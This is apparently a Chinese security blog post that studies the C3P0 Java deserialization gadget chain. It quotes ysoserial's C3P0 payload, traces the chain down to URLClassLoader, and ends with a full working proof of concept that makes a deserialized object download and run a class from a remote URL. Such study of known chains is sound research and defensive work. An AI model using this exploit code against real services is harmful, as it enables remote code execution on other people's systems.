Java反序列化——C3P0
2022-08-14 15:17:00 # Java # Java序列化链

Java反序列化——C3P0

配置Maven依赖

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

What is C3P0?

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。

测试

image-20220814155230314

ysoserial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}

String url = command.substring(0, sep);
String className = command.substring(sep + 1);

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}


private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}


public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}

}

可以看到ysoserial中的C3P0链通过:来分割URL需要远程加载的类名

image-20220814164121129

image-20220814175904160

下面来看一下这个PoolSouce类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}

这里除了一个构造方法用来赋值以外,还有一个getReference()方法,传入了我们的恶意的urlclassName

Poc调试

序列化

image-20220814192731703

序列化的时候,如果connectionPoolDataSource是不可序列化的,则会抛出异常

1
Exception: Direct serialization provoked a NotSerializableException! Trying indirect

然后尝试使用ReferenceIndirector 对其进行引用的封装,返回一个可以被序列化的 ReferenceSerialized 实例对象。

image-20220815131321710

image-20220815132801347

这里调用的getReference()也就是PoolSourcegetReference()方法

1
2
3
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}

这里就得到了构造的恶意Reference,并且传给了这个可序列化的ReferenceSerialized 实例对象。

image-20220815133440991

最后序列化的对象是ReferenceSerialized ,其中包含了恶意的reference,当反序列化时,则会被重新实例化一个恶意reference对象,触发恶意代码。

反序列化

1
2
3
4
5
6
Gadget:
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Class.forName0()
URLClassLoader.loadClass()

这里调用了ReferenceSerialized#getObject()

image-20220815152549190

跟进去,这里有个lookup方法,但是没法利用,因为参数contextName是不可控的,唯一可控的就是之前传入的恶意ref

image-20220815154310990

继续往下跟进到referenceToObject(),本质就是将this.reference(恶意链接)转换成Object

image-20220815154637370

image-20220815161436634

这里获取类名存入var4,获取远程地址存入var11var6从上下文获取ClassLoader,如果没用获取到,那么就从ReferenceableUtils中获取。如果没找到远程地址,那么var7就等于var6,如果有远程地址,那么就把远程地址赋给 var8,并且传入URLClassLoader

image-20220815162801732

然后通过Class.forName,使用URLClassLoader来得到恶意类(var4),并且实例化,造成恶意代码执行。

image-20220815162944258

攻击构造

构造一个不可序列化的并且实现了 Referenceable 的 ConnectionPoolDataSource 对象,其 getReference() 方法返回带有恶意类位置的 Reference 对象即可。恶意代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Le1a {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
return new Reference("Le1a", this.className, this.url);
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}

public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase p = new PoolBackedDataSourceBase(false);
ConnectionPoolDataSource pool = new PoolSource("calc", "http://localhost:8888/");

Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(p, pool);

serialize(p);
unserialize("Le1aaaa.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Le1aaaa.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}

反序列化的时候,PoolBackedDataSourceBase中的 ConnectionPoolDataSource因不可序列化,于是返回一个ReferenceSerialized,其中构造的恶意ref包含了恶意地址和类名,最后通过URLClassLoader加载远程地址中的恶意类。

疑问

当正确构造EXP后,成功弹出计算器。但是当我们修改远程端口号,甚至远程地址的IP,并且删除掉之前的bin

文件后,仍能弹出计算器!!!只有当修改恶意类名时,才不能触发。

image-20220815172752415

image-20220815172859161

难道是因为这个原因么?🥺😲😴

image-20220815173327039

参考

虚幻私塾

feng

su18